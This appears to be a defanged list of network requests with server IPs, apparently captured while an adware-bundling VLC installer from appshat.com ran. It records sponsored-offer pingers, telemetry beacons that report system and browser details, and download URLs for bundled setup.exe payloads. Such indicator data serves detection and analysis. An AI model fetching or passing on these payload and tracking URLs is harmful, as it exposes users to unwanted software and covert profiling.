hxxp://appshat.com/css/main.css
hxxp://appshat.com/css/product.css
hxxp://appshat.com/css/style.css
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://appshat.com/css/lightbox.css
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://googleadapis.l.google.com/css?family=Abel
hxxp://appshat.com/js/scripts.js
hxxp://appshat.com/js/jquery.smooth-scroll.min.js
hxxp://appshat.com/js/lightbox.js
hxxp://appshat.com/images/logo.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/9/c/9c161c623a389f1b32f42adac2cb466b.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/c/1/c16ddcefe8d9f0d1f850dfcd8f36687d.jpg
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://www.google.com.ua/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot	173.194.113.215
hxxp://appshat.com/thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.12619940048748773
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j32&a=688910401&t=pageview&_s=1&dl=http://www.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=2029049009&cid=1387098998.1423621902&tid=UA-42656881-1&_r=1&z=1926089530
hxxp://appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://appshat.com/images/4.5stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://appshat.com/images/5.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png
hxxp://appshat.com/thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png
hxxp://appshat.com/thumbnails/icon/images/assets/3/d/3d8bbea6bcae57d705c676f7050a7d51.png
hxxp://appshat.com/thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png
hxxp://appshat.com/thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png
hxxp://appshat.com/thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png
hxxp://appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png
hxxp://appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png
hxxp://appshat.com/thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png
hxxp://appshat.com/images/btn_bg.jpg
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716	65.255.35.144
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv=	208.43.69.149
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0	208.43.69.149
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f739948d4a6930fb
hxxp://a1284.g.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1284.g.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1284.g.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?6fb1bd974b711e2e
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?057e69f53a553e2c
hxxp://crl.globalsign.net/root-r3.crl	108.162.232.202
hxxp://crl.globalsign.net/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg==	108.162.232.202
hxxp://crl.globalsign.net/root.crl	108.162.232.202
hxxp://crl.globalsign.net/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw==	108.162.232.202
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://stats.ourgendataservice.com/installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147483648&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423621888&procruntime=11&rnd=1423621899	54.231.8.172
hxxp://d22bq5tzj1f5l6.cloudfront.net/mirror/mystartsearch/default/setup.exe	54.230.202.46
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	88.221.132.175
hxxp://download.filesfrog.com/software_files/vlc/2_0_2/vlc-2.0.2-win32.exe	212.7.199.182
hxxp://d22bq5tzj1f5l6.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.202.46
hxxp://www.appshat.com/images/bg_main.jpg	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png	78.138.127.8
hxxp://r2---sn-3c27ln7y.c.pack.google.com/edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1	173.194.48.241
hxxp://d4ekdi381yoqv.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.203.71
hxxp://www.appshat.com/images/loading.gif	78.138.127.8
hxxp://d2q90bop9bptps.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.202.236
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423621891	54.231.18.68
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.4286163873031979	78.138.127.15
hxxp://install-cdn.sourceapp.info/sd?is=sm	195.12.225.83
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=3&index_in_screen=1&index_in_session=3&0.4806031552958285	78.138.127.15
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423621896	54.231.18.68
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png	78.138.127.8
hxxp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot	173.194.113.215
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.7820844035045635	78.138.127.15
hxxp://install.sourceapp.info/if?alpha=PBVAC3ltNUReNH0RbyF2PVETBnk8SUwjdAkmVBo8bkkKTDwpZCMiUnwECXxoIBUcGFB+GnoEOSASFElvO149CxFQFAASf2xfD00hAURZJiY+CAMLM2lHGAJ+Pg5AT2Y7WWgYfht0RAtmSEoue1xhHkIscU5gXw0/VRUUJHlsEzFoVwdLXm4hNA0tV3AcdnE8Py1RUAdjJxMDMXRIe0NMezpGAhx8d2tDfxI+VkpZfTZxBwEIZTZmSWd/UURBO2wWTklQNBoDF2FtV18MLEALN2N+fAhQDXB1bEokdC8YVBYmfg1cSHEOMB4pSHkUQB0uZB4XB0EqPG1PbmIebA48ex9/VFkWB2VOITkWEU08RwVWJyQoXAUZfHVORCtpNGtSDzB4B0VCInljUHsJP0lbCyhhEwYLR3o6fVwrYEJCDH8zUD0VD0RIQUsuMx5be3IXSW8mI24RIwR8bkVBZxoOKgYcJiNSQltxbX8ef1czHkpcbm0KRUIEPGE4VGotExFdajlKOQ0FUBYIF35nTlIYeAQYUBg8L0sTRjVMbVImOx9rJBAnfgFNQWwKeSMOdEdHKFRrOxMxC0NlMHtHEzwpVGZg	70.186.131.141
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=	23.43.139.27
hxxp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg	78.138.127.8
hxxp://www.appshat.com/js/jquery.smooth-scroll.min.js	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.03873307585558067	78.138.127.15
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.43.139.27
hxxp://www.appshat.com/home	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.9208923050508203	78.138.127.15
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png	78.138.127.8
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f739948d4a6930fb	88.221.132.177
hxxp://stats.ourgendataservice.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423621888&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423621888&procruntime=11&rnd=1423621899	54.231.8.172
hxxp://www.appshat.com/css/style.css	78.138.127.8
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423621897	54.231.18.68
hxxp://install.sourceapp.info/ii?alpha=PBVAC3kgLV14O3wObyF2PVETBnk8SUwjdAkmVBo8bkkKTDwpZCMiUnwECXxoIBUcGFB+GnoEOSASFElvO149CxFQFAASf2xfD00hAURZJiY+CAMLM2lHGAJ+Pg5AT2Y7WWgYfht0RAtmSEoue1xhHkIscU5gXw0/VRUUJHlkBjEIGRQaABd+aFdWDDJBFShneHwMRlszfkVDBTsVdhscLXoYQ18pfz0VK2V8CDoAKWAdRUAMPmMuFzomFhNWeW4VY3dQARpndGkyChJHbBUYUTwlKlYBGTk6FhFqKxM/VBYmfBFeEAEwOgIiVGEBGB1POV0RAUJ/cykZW2JMRwIsehljVV4OB3wHbyscFE11H0smb2t4F0dEIiwQFGc6HzkEEDZvVFxMLzJ5Sm0WIFdKUms8UhsJCEk9eVViY0sBTwpnGXheW0J0RkY7OApPGHIGGDJzJXxJSxMze1YYfnlWekJLc2cVER18Y2xAdxI4XV4MImACT1kBKjdqBF1dVEAVOiVQWnZIA1VXBxk0CxJLfRwFVXUYDWo/SlFzU05nDR89GxowLBFCTnFofwpwFgxdD1JdP1E=	70.186.131.141
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423621894	54.231.18.68
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423621894	54.231.18.68
hxxp://crl.verisign.com/pca3.crl	23.43.133.163
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=1&index_in_screen=1&index_in_session=1&0.26086897661093067	78.138.127.15
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	88.221.132.175
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png	78.138.127.8
hxxp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/c6f349e09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f349e09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://download.filesfrog.com/software_files/vlc/vlc_48.png	212.7.199.182
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=4&index_in_screen=1&index_in_session=4&0.6190891784801331	78.138.127.15
hxxp://cache.pack.google.com/edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe	216.58.209.174
hxxp://logs.ourgendataservice.com/monetization.gif?event=3&ibic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423621888&asw=0_1073750533_-2147483648_0&browser=ff&rnd=1423621888	69.16.175.10
hxxp://www.appshat.com/thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png	78.138.127.8
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	88.221.132.175
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423621894	54.231.18.68
hxxp://www.appshat.com/js/lightbox.js	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png	78.138.127.8
hxxp://install.sourceapp.info/fp?alpha=PBVAC3llGyo3YzJMbyF2PVETBnk8SVZ6OBsUARQlOwFNCz8+ZDV6Y0tVWg4pfXdAXHchZ1h4TT1hZyNuJEdOf31RZgYTCmtMJRhvGUE7BmZ/FENHJysNF398QntASWw5QQEffWxvSXQVO1JcECtmBk1fBj1rLg0mIRMRVXlrA2IGaS9QU1UqcExQHigUBT5lay8JVl10OkEdZ3xLa0QceGtNDB54eWhAbRE3Rw4PODMEVQxRLDcsH2l9HnEPMGweZUMfNkJRTyEyFQlZdRVWJhkfCh8UGHEnEhV2eEp9QktzawdAEBswNxQiUH1HKFh+NV0RC0dSLy0AOCQUE215fAVlXwIjFwoXexlMUBNdSBJHeH0LDEdHVCMTEWp4Sn1LO2dJQ25pCGtBZRUoWFJv	70.186.131.141
hxxp://www.appshat.com/images/5.0stars.jpg	78.138.127.8
hxxp://fonts.googleapis.com/css?family=Abel	74.125.143.95
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_e	69.16.175.10
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png	78.138.127.8
hxxp://install.sourceapp.info/mg?alpha=LyMfDU83Zi0LWC8mMCdAEGpdHkpxMBsxD1QuQgoReicyWwpsHEh2VCoVdgkYcDQHLDYtJ2wLe0JTUyMvXnd Cks1U15gTXoKDw1pRXAwN0BtPxlcEzkmSmxPWU0dUlMpckMGSnpfH2YhLWEDCx5zNRpYMy9DKEwAcHgOUBx7YD5cNEEhVxRJdHoPAhhSKWliR2o7DwFVNCVcJBEKQBxKBwATDXYv	70.186.131.141
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_d	69.16.175.10
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js	216.58.209.202
hxxp://install.sourceapp.info/mg?alpha=LyMfDU9nGSshDG1hMCdALmdMAE8vZR18Ol45aE1VKnNeb094LQJ/V1wXHnloBzQHX0FbJ3J+CTdQSFQqPCslADpXdANCRH8+QzZrVi9y	70.186.131.141
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.6827485945168448	78.138.127.15
hxxp://www.google-analytics.com/analytics.js	173.194.113.200
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe	69.16.175.42
hxxp://www.appshat.com/thumbnails/banner/images/assets/c/1/c16ddcefe8d9f0d1f850dfcd8f36687d.jpg	78.138.127.8
hxxp://ocsp2.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw==	108.162.232.198
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_c	69.16.175.10
hxxp://www.appshat.com/images/64x64.ico	78.138.127.8
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js	216.58.209.202
hxxp://d2q90bop9bptps.cloudfront.net/affiliates/filesfrog/eula.html	54.230.202.236
hxxp://www.appshat.com/css/main.css	78.138.127.8
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423621896	54.231.18.68
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.4291161167861324	78.138.127.15
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.2&utms=1&utmn=1844808200&utmhn=bi.bisrv.com&utmhid=114691349&utmr=-&utmp=Installer_Init&utmht=1423621777750&utmac=UA-31676879-1&utmcc=__utma=1.1387656045.1423621778.1423621778.1423621778.1;+__utmz=1.1423621778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1665450451&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.200
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423621896	54.231.18.68
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.38661388102771715	78.138.127.15
hxxp://www.google-analytics.com/r/collect?v=1&_v=j32&a=688910401&t=pageview&_s=1&dl=http://www.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=2029049009&cid=1387098998.1423621902&tid=UA-42656881-1&_r=1&z=1926089530	173.194.113.200
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=	23.43.139.27
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.21706834637139494	78.138.127.15
hxxp://www.google-analytics.com/ga.js	173.194.113.200
hxxp://clients1.google.com/ocsp	173.194.113.201
hxxp://install.sourceapp.info/mg?alpha=NRwvDGQuBk4OHnckACZrClVtH2FrSkI TAUVEQ==	70.186.131.141
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.12619940048748773	78.138.127.15
hxxp://logs.ourgendataservice.com/monetization.gif?event=4&ibic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423621888&asw=0_1073750533_-2147483648_0&browser=ff&rnd=1423621888	69.16.175.10
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423621893	54.231.18.68
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.9178325560615432	78.138.127.15
hxxp://www.appshat.com/css/product.css	78.138.127.8
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423621888	54.231.18.68
hxxp://www.appshat.com/images/4.5stars.jpg	78.138.127.8
